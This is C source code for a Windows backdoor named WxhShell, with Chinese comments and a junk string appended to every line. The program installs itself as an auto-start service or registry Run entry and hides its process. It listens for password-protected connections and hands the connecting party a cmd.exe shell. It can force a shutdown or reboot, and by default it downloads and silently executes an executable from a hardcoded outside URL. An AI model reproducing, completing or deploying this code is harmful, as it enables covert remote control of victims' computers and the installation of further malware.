    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }Z3+z@L  
    if(Boot(SHUTDOWN)) *#g[ jl4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@ZSn0  
    else { \:|"qk  
    closesocket(wsh); @w{"6xc%a  
    ExitThread(0); &JHqUVs^  
    } ypV>*  
    break;  j2%?-(U  
    } Os"T,`F2s  
  // 获取shell !@wG22iC4d  
  case 's': { 8lfKlXR78  
    CmdShell(wsh); * J|]E(  
    closesocket(wsh); K6M_b?XekA  
    ExitThread(0); a<d$P*I(cH  
    break; u[~= a 5:4  
  } jpRC6b?  
  // 退出 AxZaV;%*  
  case 'x': { 3}ATt".  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4VrL@c @  
    CloseIt(wsh); P[<EFj E  
    break; &&K"3"um  
    } SvN2}]Kh  
  // 离开 OXIy0].b  
  case 'q': { nHTb~t5Ke  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0o &B 7N  
    closesocket(wsh); \>nY%*  
    WSACleanup(); <Pg<F[eDM  
    exit(1);  TDR2){I  
    break; (Q~ (t  
        } 6*tbil_G+  
  } &=`6- J  
  } ,J ZM%f  
2X!!RS>qg  
  // 提示信息 I^itlQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BOf)27)  
} $1b x\  
  } !p$k<?WXc  
F|&=\Q  
  return; 3P[u>xE  
} $G@^!(  
71inHg  
// shell模块句柄 kV:C=MLI  
int CmdShell(SOCKET sock) f+W8Gszi  
{ ruTj#tWSo  
STARTUPINFO si; C8bv%9  
ZeroMemory(&si,sizeof(si)); W9%B9~\G;+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (D <o=Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fS?fNtD6<  
PROCESS_INFORMATION ProcessInfo; Od@<L  
char cmdline[]="cmd"; vB;$AFh{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }}MZgm~U)  
  return 0; ct-;L' a  
} ("-`Y'"K  
nps"nggk  
// 自身启动模式 5X=ik7m^  
int StartFromService(void) @#W$7Gwf0  
{ k>mqKzT0$+  
typedef struct CKgbb4;<m[  
{ -|x YT+?%  
  DWORD ExitStatus; OJ2I (8P  
  DWORD PebBaseAddress; bJ6@ B<  
  DWORD AffinityMask; tpP2dg9dF  
  DWORD BasePriority; Z5%TpAu[  
  ULONG UniqueProcessId; r(uf yC&  
  ULONG InheritedFromUniqueProcessId; e lzKtVw  
}   PROCESS_BASIC_INFORMATION; 2-!n+#Cdf  
2B=''W  
PROCNTQSIP NtQueryInformationProcess; |y~un9j +  
qs'ggF1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b"QeCw#v`>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]53'\TH  
ajMI7j^G  
  HANDLE             hProcess; PquATAzQA  
  PROCESS_BASIC_INFORMATION pbi; 6K 6uB ~  
KXTx{R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h<ULp &g  
  if(NULL == hInst ) return 0; WA&&*ae5`  
\NI0rL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8`S6BkfC|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PS${B   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0&k!=gj:>Z  
cgvD>VUw  
  if (!NtQueryInformationProcess) return 0; 6q]`??g.  
JD1D(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $bi@,&t;  
  if(!hProcess) return 0; I}{Xv#@o  
p-1 \4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #w:6<$  
[d~ 25  
  CloseHandle(hProcess);  T24?1  
J4;F k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #m<<]L(o8W  
if(hProcess==NULL) return 0; (!9ybH;T  
0;pOQF  
HMODULE hMod; \r+8}8  
char procName[255]; G oJ\6& "  
unsigned long cbNeeded; bu|ecv  
sBfPhBT|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); en6oFPG   
 L4,Ke  
  CloseHandle(hProcess); 5{uK;Vxse  
A"8"e*  
if(strstr(procName,"services")) return 1; // 以服务启动 b!ea(D!:  
6bW:&IPQ;  
  return 0; // 注册表启动 Q]]5\C.  
} I N'a5&..  
J}vxK H#=  
// 主模块 =P.m5e<  
int StartWxhshell(LPSTR lpCmdLine) \dIQhF%%2  
{ r$Z_Kwe.|&  
  SOCKET wsl; _^)<d$R<  
BOOL val=TRUE; H!NyM}jsr  
  int port=0; E-_Q3^  
  struct sockaddr_in door; /kY|PY  
&@MiR8  
  if(wscfg.ws_autoins) Install(); c#6g[TE@  
*1 [v08?!  
port=atoi(lpCmdLine); G$"$k=[  
'!6Py1i  
if(port<=0) port=wscfg.ws_port; :W\xZ  
+#c3Y ;JP  
  WSADATA data; *Tt*\ O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \|}dlG  
Q/ ,j v5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   79svlq=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wqu][Wa[Z  
  door.sin_family = AF_INET; 3+E AMn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uM^eoh_  
  door.sin_port = htons(port); m% {4  
=tv,B3Mo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CK+GD "Z$  
closesocket(wsl); ! awfxH0  
return 1; 6SIk,Isy8  
} d:"]*EZ [  
$`emP Hel  
  if(listen(wsl,2) == INVALID_SOCKET) { }(r%'(.6  
closesocket(wsl); DP D%8a)?  
return 1; 07_ym\N  
} ]OZk+DU:  
  Wxhshell(wsl); %;E/{gO  
  WSACleanup(); =k1 ,jn+  
d,G:+  
return 0; vNhi5EU  
@L-3&~=  
} O,kzU,zOs  
ho7L@NR  
// 以NT服务方式启动 9N[PZD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hK,e<?N^  
{ m"<Sb,"x!  
DWORD   status = 0; ORV~F0d<  
  DWORD   specificError = 0xfffffff; SJtQK-%wK>  
|@x^5Ab$T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0 7CufoI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |-HV@c]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {1Z`'.FU  
  serviceStatus.dwWin32ExitCode     = 0; $EB&]t+  
  serviceStatus.dwServiceSpecificExitCode = 0; k(oHmw  
  serviceStatus.dwCheckPoint       = 0; !c+Nf2I7S  
  serviceStatus.dwWaitHint       = 0; Z. ))=w6G  
DB'd9<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TRl,L5wd-?  
  if (hServiceStatusHandle==0) return; e `!PQMLU  
1N_Gk&  
status = GetLastError(); 1jJ>(S  
  if (status!=NO_ERROR) nl)!)t=n  
{ XA~Cc<v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .X;zEyd  
    serviceStatus.dwCheckPoint       = 0; vap,)kILF  
    serviceStatus.dwWaitHint       = 0; MqBA?7  
    serviceStatus.dwWin32ExitCode     = status; !TH3oLd"  
    serviceStatus.dwServiceSpecificExitCode = specificError; *Op;].>E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >[=fbL@N<@  
    return; G/nSF:rp  
  } ?v-( :OF  
RnN]m!"5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JM-spi o  
  serviceStatus.dwCheckPoint       = 0; ,m-z D  
  serviceStatus.dwWaitHint       = 0; ?mJNzHrq;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cuO)cj]@e  
} NW'rqgG  
Q2c|sK8  
// 处理NT服务事件,比如:启动、停止 W)dQ yZ>J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (5s$vcK  
{ ieN}Ajl2  
switch(fdwControl) vps</f!  
{ QkXnXu  
case SERVICE_CONTROL_STOP: T[}A7a6g_  
  serviceStatus.dwWin32ExitCode = 0; %T hY6y(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]xlV;m  
  serviceStatus.dwCheckPoint   = 0; 4!pMZ<$3  
  serviceStatus.dwWaitHint     = 0; }Km+5'G'U  
  { cnQ;6LtFTz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e`pYO]Z  
  } Ak`7f$z  
  return; :Yi1#  
case SERVICE_CONTROL_PAUSE: @5!Mr5;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y9cDPwi:b  
  break; }fps~R  
case SERVICE_CONTROL_CONTINUE: >+iJ(jqq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *;Q IAd  
  break; b ^wL{q  
case SERVICE_CONTROL_INTERROGATE: &_-,Nxsf  
  break; Y40`~  
}; &@tD/Jw3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :a M ZJm  
} *f%uc  
^gb3DNV~y  
// 标准应用程序主函数 G_GV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [?3]+xr :  
{ <l/QS3M  
tC0:w,C)  
// 获取操作系统版本 p^|IN'lx,  
OsIsNt=GetOsVer(); ]Ek6EuaK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kdVc;v/5  
Zl5cHejM  
  // 从命令行安装 dzIc X*"  
  if(strpbrk(lpCmdLine,"iI")) Install(); C&\MDOjx  
d"K~+<V}  
  // 下载执行文件 Zd~'%(q  
if(wscfg.ws_downexe) { 9yU(ei:GUo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :6k8\{^9"D  
  WinExec(wscfg.ws_filenam,SW_HIDE); RRW/.y  
} u@j]U|FpY  
^I=W<  
if(!OsIsNt) { ;D}8acQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 {MP8B'r-6  
HideProc(); lSGtbSyDI  
StartWxhshell(lpCmdLine); ^}JGWGib=+  
} "gD]K=  
else xq`mo  
  if(StartFromService()) OF[y$<jM  
  // 以服务方式启动 MKqMH,O  
  StartServiceCtrlDispatcher(DispatchTable); T5* t~`bfU  
else !S0$W?*  
  // 普通方式启动 sw<mmayN  
  StartWxhshell(lpCmdLine); 0(!j]w"r3  
K`7(*!HEb  
return 0; 4+rr3 $AY  
}  !t.  
F];"d0O#5  
z_Em%X  
LA!2!60R  
=========================================== [BPK0  
4R 9lA  
`/ W6, ]  
?T]` X  
6n[O8^  
EW$.,%b1  
" Yp*Dd}n`  
) qD Ch  
#include <stdio.h> 7ojU]ly  
#include <string.h> IUB#Vdx  
#include <windows.h> ,8=`Y9#  
#include <winsock2.h> /WvF}y  
#include <winsvc.h> m=g\@&N  
#include <urlmon.h> 5<Ly^Na:  
W 9i}w&  
#pragma comment (lib, "Ws2_32.lib") %2H0JXKa,  
#pragma comment (lib, "urlmon.lib") h(M_ K  
^^q9+0@  
#define MAX_USER   100 // 最大客户端连接数 #%Z 0!  
#define BUF_SOCK   200 // sock buffer 0\qLuF[)  
#define KEY_BUFF   255 // 输入 buffer R,]J~TfPK  
x;Qs_"t];3  
#define REBOOT     0   // 重启 I},]Y~Y3  
#define SHUTDOWN   1   // 关机 DrAp&A|WV|  
T;7=05k<_  
#define DEF_PORT   5000 // 监听端口 1!(Og~#(  
gLm ]*  
#define REG_LEN     16   // 注册表键长度 r#8t @W  
#define SVC_LEN     80   // NT服务名长度 1 u[a713O  
1L~y!il  
// 从dll定义API U*P&O+(1'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (8JL/S;Z$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lek!5Ug  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {..6{~L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q mJ#cmN  
$N !l-lu=  
// wxhshell配置信息 +c7e[hz  
struct WSCFG { Ly\  `  
  int ws_port;         // 监听端口 8i epG  
  char ws_passstr[REG_LEN]; // 口令 @fI1|v=eF  
  int ws_autoins;       // 安装标记, 1=yes 0=no t@#+vs@  
  char ws_regname[REG_LEN]; // 注册表键名 5 )A(q\  
  char ws_svcname[REG_LEN]; // 服务名 XZh1/b^DMN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P\jnht  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _*K=Z,a;\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fT]hpoJl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |M8FMH[_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;u:A:Y4V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~J~@mE2ks  
=nVEdRU  
}; N7Kg52|  
/$EX -!ie  
// default Wxhshell configuration $,b1`*  
struct WSCFG wscfg={DEF_PORT, g1!ek  
    "xuhuanlingzhe", 0mt lM(  
    1, `, lnBP3D"  
    "Wxhshell", wBuos}/  
    "Wxhshell", 3]46qk '  
            "WxhShell Service", ^ gy"$F3{`  
    "Wrsky Windows CmdShell Service", be<7Vy]j  
    "Please Input Your Password: ", hFW{qWP  
  1, J!\Cs1 !f  
  "http://www.wrsky.com/wxhshell.exe", g-C)y 06  
  "Wxhshell.exe" f9%M:cl  
    }; !t;B.[U *  
!7rk>YrY  
// 消息定义模块 ES4[@RX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *#n#J[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z2t'?N|_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5WlBe c@  
char *msg_ws_ext="\n\rExit."; %%-?~rjI  
char *msg_ws_end="\n\rQuit."; b] EC+.  
char *msg_ws_boot="\n\rReboot..."; e(z'u A{!  
char *msg_ws_poff="\n\rShutdown..."; T{CCZ"Fv  
char *msg_ws_down="\n\rSave to "; 9Sb[5_Q  
e) \PW1b  
char *msg_ws_err="\n\rErr!"; T^Lg+g+I  
char *msg_ws_ok="\n\rOK!"; >~F_/Z'5  
&.v|yG]&  
char ExeFile[MAX_PATH]; F `4a0~?  
int nUser = 0; GJr1[  
HANDLE handles[MAX_USER]; .!`y(N0hc  
int OsIsNt; p2=+cS"HC  
kd=|Iip;(  
SERVICE_STATUS       serviceStatus; su}n3NsJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @cS(Bb!(M  
P&sn IJ  
// 函数声明 dED&-e#  
int Install(void); vY"i^a`f  
int Uninstall(void); t}Q PPp y  
int DownloadFile(char *sURL, SOCKET wsh); {Mv$~T|e7  
int Boot(int flag); .UGbo.e  
void HideProc(void);  Qi;62M  
int GetOsVer(void); Ya*<me>`  
int Wxhshell(SOCKET wsl); -d*zgP  
void TalkWithClient(void *cs); lZ*V.-D^]  
int CmdShell(SOCKET sock); S^c; i  
int StartFromService(void); _xmS$z)TO  
int StartWxhshell(LPSTR lpCmdLine); i-YSt5iq  
x:? EL)(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pba`FC4R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J$D/-*/@  
_O$7*k  
// 数据结构和表定义 >zS<1  
SERVICE_TABLE_ENTRY DispatchTable[] = o>l/*i0I  
{ "\~d!"n|2  
{wscfg.ws_svcname, NTServiceMain}, Zl\$9Q_  
{NULL, NULL} -;Ij ,  
}; U/s!Tb>`  
9Qb6ek  
// 自我安装 SZVAf|]Yg  
int Install(void) 7Eo;TNbb  
{ %7v!aJ40  
  char svExeFile[MAX_PATH]; lzbAx  
  HKEY key; bSkr:|A7  
  strcpy(svExeFile,ExeFile); ])9|j  
v.!e1ke8D*  
// 如果是win9x系统,修改注册表设为自启动 Q/%]%d  
if(!OsIsNt) { 0s72BcP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WNK)IC~c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @c -| Sl  
  RegCloseKey(key); 0F-%C>&g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EEp~\^ -  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ra|Ku!  
  RegCloseKey(key); T1U8ZEK<iu  
  return 0; |44 E:pA  
    } C@P*:L_  
  } 6 =H]p1p~O  
} L;i(@tp|v  
else { IJk<1T7:(W  
:\"V5  
// 如果是NT以上系统,安装为系统服务 ,Zva^5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O$(#gB'B  
if (schSCManager!=0) QB<~+d W  
{ wv.HPmq  
  SC_HANDLE schService = CreateService TMG|"|  
  ( 8D&yFal  
  schSCManager, (7A-cC  
  wscfg.ws_svcname, d",VOhW7)S  
  wscfg.ws_svcdisp, DEQ7u`6  
  SERVICE_ALL_ACCESS, j2`%sBo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .L8g( F(=:  
  SERVICE_AUTO_START, L #`Vr$  
  SERVICE_ERROR_NORMAL, ?BnX<dbi&  
  svExeFile, uwc@~=;  
  NULL, [;pL15-}4  
  NULL, I\~sE Jwj  
  NULL, K# kMz#B+i  
  NULL, .H}#,pQ}l  
  NULL zF@ /8#  
  ); a^7HI,  
  if (schService!=0)  uWkn}P  
  { @ruWnwb  
  CloseServiceHandle(schService); eE5j6`5i  
  CloseServiceHandle(schSCManager); h1+y.4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NRMEZ\*L  
  strcat(svExeFile,wscfg.ws_svcname); !%(PN3*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ya29t 98Pk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jy P$'v~  
  RegCloseKey(key); 0gsRBy  
  return 0; Nz%Yi?AF  
    } oR~s \Gt  
  } ld[BiP`B2V  
  CloseServiceHandle(schSCManager); P{2j31u`  
} hiw>Q7W  
} |lMc6C  
7qL B9r  
return 1; M-/2{F[  
} #]*]qdQWV^  
sf Zb$T J  
// 自我卸载 >^GAfvW  
int Uninstall(void) X@\ 9}*9  
{ oIGF=x,e8  
  HKEY key; 589P$2e1X  
t[p/65L>8  
if(!OsIsNt) { @;7Ht Z`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9R99,um$  
  RegDeleteValue(key,wscfg.ws_regname); [mFgo il  
  RegCloseKey(key); nP+jkNn3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ke19(r Ch  
  RegDeleteValue(key,wscfg.ws_regname); v<vaPvW  
  RegCloseKey(key); !,OY{='  
  return 0; 2Ft#S8  
  } U"535<mR  
} ]92=PA>75  
} >rY^Un{Z  
else { i?D)XXB85  
|w.h97fj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V?- ]ZkI  
if (schSCManager!=0) n um2HtU&%  
{ oC}2 Z{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L}VQc9"gc  
  if (schService!=0) _Jn@+NoO  
  { Rnw v/)  
  if(DeleteService(schService)!=0) { %+oV-o\ #A  
  CloseServiceHandle(schService); =}%Q}aPp  
  CloseServiceHandle(schSCManager); kZ'wXtBYe  
  return 0; S\sy] 1*?$  
  } <_yy0G  
  CloseServiceHandle(schService); br')%f}m  
  } ri h@(;)1  
  CloseServiceHandle(schSCManager); ?nwg.&P  
} qT^0 %O:  
} h* V~.H  
4U*CfdZZ  
return 1; ) ):w`^6  
} :8U@KABH@h  
2Yg\<Ps N  
// 从指定url下载文件 Uy<n7*H  
int DownloadFile(char *sURL, SOCKET wsh) 0RHjA& r3v  
{ )CD-cz6n  
  HRESULT hr; )v %tyU  
char seps[]= "/"; #:=*n(GT  
char *token; ok{ F=z  
char *file; ?~X^YxWsY  
char myURL[MAX_PATH]; GHFYIor  
char myFILE[MAX_PATH]; &%4A3.qE  
2+|U!X  
strcpy(myURL,sURL); &R3#? 1,  
  token=strtok(myURL,seps); IZ@M K  
  while(token!=NULL) sOm&7A?  
  { #kp +e)F  
    file=token; o`.5NUn  
  token=strtok(NULL,seps); %$F_oO7"  
  } X<d`!,bn@  
 #zg"E<  
GetCurrentDirectory(MAX_PATH,myFILE); (H-kWT  
strcat(myFILE, "\\"); BOme`0A  
strcat(myFILE, file); ?>q5Abp[  
  send(wsh,myFILE,strlen(myFILE),0); SHQgI<D7  
send(wsh,"...",3,0); z q@"qnr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9`Xr7gmQf  
  if(hr==S_OK) DI=?{A  
return 0; %JuT'7VB  
else W];l[D<S*  
return 1; YXIAVSnr  
Wb;D9Z  
} =QhK|C!$A  
vAzSpiv-  
// 系统电源模块 (/C 8\}Ox  
int Boot(int flag) AQ)J|i  
{ #0c;2}D  
  HANDLE hToken; lI;ACF^  
  TOKEN_PRIVILEGES tkp; Tua#~.3}J  
W_[ tdqey  
  if(OsIsNt) { U,V+qnS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *rmM2{6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S'=}eeG  
    tkp.PrivilegeCount = 1; 7w.9PNhy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hlGrnL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .Ix[&+LsY  
if(flag==REBOOT) { iu QMVtv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ORhvo,.u  
  return 0; d?A!0 ;(*  
} (f   
else { j`%a2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vA*Q}]Ov  
  return 0; WNF#eM?[a  
} s ?|Hw|j  
  } KVPWJHGr  
  else { 4E@_Fn_#  
if(flag==REBOOT) { VVk8z6 W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MGsY3~!K  
  return 0; m:c .dei5  
} +O@|bd \  
else { ;]T;mb>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kNoS% ?1,  
  return 0; )pG*_q  
} 98lz2d/Fcq  
} "f>`ZFp^  
N ZZc[P  
return 1; !mK}Rim~  
} y0,>_MS  
MbXtmQ%C8  
// win9x进程隐藏模块 `( _N9.>B  
void HideProc(void) `W2 o~r*&  
{ xo#K_"E  
=$uSa7t#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F87c?Vh)K  
  if ( hKernel != NULL ) R+ tQvxp#  
  { Rln% Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eDsc_5I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0+Q; a  
    FreeLibrary(hKernel); URj2 evYW  
  } abg` : E  
*@g>~q{`  
return; Gq{);fq  
} r\$`e7d}!  
0 D&-BAzi  
// 获取操作系统版本 hSG1f`  
int GetOsVer(void) +Os9}uKf  
{ t<MO~_`!  
  OSVERSIONINFO winfo; bCV_jR+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bOD] `*q  
  GetVersionEx(&winfo); hZ-?-F?*@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w6|l ~.$=  
  return 1; Jn"ya^~  
  else ^IO\J{U{"x  
  return 0; \%QA)T%  
} }B&+KO)  
D(#6H~QN%  
// 客户端句柄模块 #M|q}jA|  
int Wxhshell(SOCKET wsl) K,dEa<p  
{ #aIV\G  
  SOCKET wsh; -?vVV@W-O^  
  struct sockaddr_in client; wLy:S.r  
  DWORD myID; ];\XA;aOl}  
S>y}|MG  
  while(nUser<MAX_USER) iO7s zi  
{ CRu {Ie5B  
  int nSize=sizeof(client); A}_0iwG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VbX$\Cs:  
  if(wsh==INVALID_SOCKET) return 1; ;Hn>Ew  
QI`&N(n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uLrZl0%HT~  
if(handles[nUser]==0) >9t+lr1   
  closesocket(wsh); a"phwCc"%  
else Z5,"KhB]  
  nUser++; JdX!#\O  
  } t!o=-k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q$A;Fk}-  
.7> g8  
  return 0; bZu2.?{  
} jfpbD /  
=1zRm >m  
// 关闭 socket |l:,EA_v|  
void CloseIt(SOCKET wsh) fHXz{,?/w  
{ p%IVWeZnx  
closesocket(wsh); 9b)'vr*Hy7  
nUser--; fk\hrVP  
ExitThread(0); {VKP&{~O  
} ksF4m_E>YB  
rAS2qt  
// 客户端请求句柄 Vn?|\3KY  
void TalkWithClient(void *cs) cQ(,M  
{ .cB>ab&  
S%o6cl=  
  SOCKET wsh=(SOCKET)cs; U9"Ij}  
  char pwd[SVC_LEN]; 3 ]w a8|  
  char cmd[KEY_BUFF]; fK+[r1^  
char chr[1]; ;$FMOMR  
int i,j; fkD-mRKw  
~LJtlJ 0  
  while (nUser < MAX_USER) { [#+klP$  
=H?^G[y  
if(wscfg.ws_passstr) { cX|(/h,W/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wt!8.d} =  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "B*UZ.cC  
  //ZeroMemory(pwd,KEY_BUFF); -* W\$ P  
      i=0; '3 JVUHn  
  while(i<SVC_LEN) { @^nE^;  
dm"|\7  
  // 设置超时 L 7l"*w(  
  fd_set FdRead; W/u_<\  
  struct timeval TimeOut; E+~1GKd  
  FD_ZERO(&FdRead); r=<1*u  
  FD_SET(wsh,&FdRead); Xuj=V?5  
  TimeOut.tv_sec=8; Za7!n{? 0  
  TimeOut.tv_usec=0; t LM/STb6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ET\rd5Po  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O ;m[  
RM#.-gW   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Oc |Oo  
  pwd=chr[0]; xOKf|  
  if(chr[0]==0xd || chr[0]==0xa) { OhTd>~R`<  
  pwd=0; GP_%. fO\M  
  break; ;9hS_%ldX4  
  } ;ApldoMi  
  i++; % E 8s>D  
    } V@\A<q%jTs  
e%^PVi  
  // 如果是非法用户,关闭 socket 3#Xv))w1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #xt-65^  
} LT]YYn($  
" l>tFa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |]]Rp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6{H@VF<QY!  
K'b #}N\  
while(1) { QaSRD/,M  
bH.f4-.u>)  
  ZeroMemory(cmd,KEY_BUFF); WTwura,  
M^0^l9w  
      // 自动支持客户端 telnet标准   i?6#>;f  
  j=0; ~2O1$ou  
  while(j<KEY_BUFF) { m*` W&k[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'v%v*Ujf[  
  cmd[j]=chr[0]; ]~\%ANoi  
  if(chr[0]==0xa || chr[0]==0xd) { )u.%ycfeV  
  cmd[j]=0; W.?EjEx  
  break; `9Q O'^)  
  } ~Q+J1S]Fs  
  j++; @%I-15Jz  
    } "(vm0@8><  
VIuzBmR|\  
  // 下载文件 i:x<Vi  
  if(strstr(cmd,"http://")) { 'nfdOX.d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c='uyx  
  if(DownloadFile(cmd,wsh)) 2@:Ztt6~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jB3Rue:+g  
  else SlD7 \X&~  
